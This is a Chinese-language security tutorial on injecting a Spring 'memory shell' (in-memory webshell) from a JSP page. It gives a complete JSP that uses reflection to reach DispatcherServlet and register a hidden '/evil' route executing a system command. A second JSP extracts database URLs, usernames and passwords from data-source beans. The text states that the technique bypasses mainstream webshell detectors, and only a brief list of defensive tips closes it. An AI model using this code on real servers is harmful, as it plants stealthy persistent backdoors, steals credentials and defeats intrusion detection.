在 JSP 中优雅的注入 Spring 内存马
字数 1236 2025-08-22 12:23:42
在 JSP 中优雅注入 Spring 内存马技术详解
前言
随着内存马检测工具的不断完善,传统的内存马检测手段已经能够有效识别Servlet、Filter、Listener类型的内存马。本文介绍一种在JSP中注入Spring内存马的技术,该方法能够绕过当前主流的内存马检测工具。
基础环境搭建
依赖配置(pom.xml)
<properties>
<spring.version>5.3.39</spring.version>
<tomcat.version>8.5.0</tomcat.version>
</properties>
<dependencies>
<!-- 核心依赖包括: -->
<!-- Tomcat相关库 -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>${tomcat.version}</version>
</dependency>
<!-- Spring核心库 -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>
<!-- 其他必要依赖... -->
</dependencies>
Web组件配置(web.xml)
<!-- 父容器配置 -->
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-parent.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<!-- 子容器配置 -->
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-child.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
SpringMVC父子容器架构
核心概念
-
父容器(Root WebApplicationContext):
- 管理通用Bean(数据源、事务等)
- 通过ContextLoaderListener初始化
- 生命周期与Web应用一致
-
子容器(Child WebApplicationContext):
- 管理Servlet相关Bean(Controller、视图解析器等)
- 通过DispatcherServlet初始化
- 生命周期与对应Servlet一致
关键特性
- 子容器可以访问父容器的Bean,反之则不行
- 父子关系通过
setParent()方法建立 - 父容器存储在ServletContext中(key为
WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE) - 子容器存储在Request域中(key为
DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE)
传统IOC容器获取方式
获取父容器
// 方式1
WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();
// 方式2
WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(
servletContext);
获取子容器
// 方式3
WebApplicationContext context3 = RequestContextUtils.findWebApplicationContext(request);
// 方式4
WebApplicationContext context4 = (WebApplicationContext) request.getAttribute(
DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
JSP中获取子容器的挑战与解决方案
问题分析
在JSP中无法直接获取子容器,因为:
- 子容器存储在Request域中
- JSP执行时Request尚未经过DispatcherServlet处理
解决方案:反射获取DispatcherServlet
-
获取ServletContext:
<% ServletContext servletContext = request.getServletContext(); %> -
反射获取StandardContext:
<% Field context1 = servletContext.getClass().getDeclaredField("context"); context1.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context1.get(servletContext); Field context2 = applicationContext.getClass().getDeclaredField("context"); context2.setAccessible(true); StandardContext standardContext = (StandardContext) context2.get(applicationContext); %> -
获取所有Servlet:
<% Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase") .getDeclaredField("children"); childrenField.setAccessible(true); HashMap<String, Container> children = (HashMap) childrenField.get(standardContext); %> -
定位DispatcherServlet并获取子容器:
<% for (Map.Entry<String, Container> child : children.entrySet()) { Container standardWrapper = child.getValue(); Field instance = standardWrapper.getClass().getDeclaredField("instance"); instance.setAccessible(true); Object o = instance.get(standardWrapper); if (o instanceof DispatcherServlet) { ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext(); } } %>
Spring内存马注入实现
完整JSP内存马代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.springframework.web.servlet.DispatcherServlet" %>
<%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %>
<%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%@ page import="org.springframework.web.servlet.mvc.method.RequestMappingInfo" %>
<%@ page import="org.springframework.web.servlet.mvc.condition.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public static class EvilController {
public void evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
<%
// 获取IOC容器代码(如上所述)...
// 注入内存马
RequestMappingHandlerMapping mapping = ioc.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo info = new RequestMappingInfo(
new PatternsRequestCondition("/evil"),
new RequestMethodsRequestCondition(),
new ParamsRequestCondition(),
new HeadersRequestCondition(),
new ConsumesRequestCondition(),
new ProducesRequestCondition(),
new RequestConditionHolder(null));
Class<?> abstractMapping = Class.forName(
"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping");
Method registerMethod = abstractMapping.getDeclaredMethod(
"registerHandlerMethod", Object.class, Method.class, Object.class);
registerMethod.setAccessible(true);
Method evilMethod = EvilController.class.getDeclaredMethod("evil");
registerMethod.invoke(mapping, new EvilController(), evilMethod, info);
out.println("内存马注入成功!访问/evil执行命令");
%>
扩展应用:无条件获取数据源配置
传统方法的局限性
传统方法依赖WebApplicationContextUtils.getWebApplicationContext(),需要父容器支持。
改进后的无条件获取方案
<%
// 先尝试从父容器获取
ApplicationContext ioc = WebApplicationContextUtils.getWebApplicationContext(
pageContext.getServletContext());
List<DataSource> dataSources = getDataSources(ioc);
// 父容器获取失败则从子容器获取
if(ioc == null || dataSources == null || dataSources.isEmpty()) {
// 使用反射获取子容器(如上所述)
// ...
dataSources = getDataSources(ioc);
}
// 读取数据源配置
for(DataSource ds : dataSources) {
String className = ds.getClass().getName();
if(className.equals("com.mchange.v2.c3p0.ComboPooledDataSource")) {
Class clazz = Class.forName(className);
String url = (String) clazz.getMethod("getJdbcUrl").invoke(ds);
String user = (String) clazz.getMethod("getUser").invoke(ds);
String pass = (String) clazz.getMethod("getPassword").invoke(ds);
out.println("URL: " + url + "<br>User: " + user + "<br>Pass: " + pass);
}
// 其他数据源类型处理...
}
%>
防御建议
- 禁用JSP执行权限
- 监控不正常的RequestMapping注册
- 检查DispatcherServlet等核心组件的反射调用
- 实施严格的访问控制策略
总结
本文详细介绍了在JSP中注入Spring内存马的技术,关键点包括:
- SpringMVC父子容器架构的理解
- 通过反射获取DispatcherServlet的技术
- 在JSP环境中获取子容器的方法
- 内存马注入的具体实现
- 无条件获取数据源配置的扩展应用
这种技术能够绕过当前主流的内存马检测工具,具有较高的隐蔽性,同时也提醒我们需要加强对此类攻击的防护。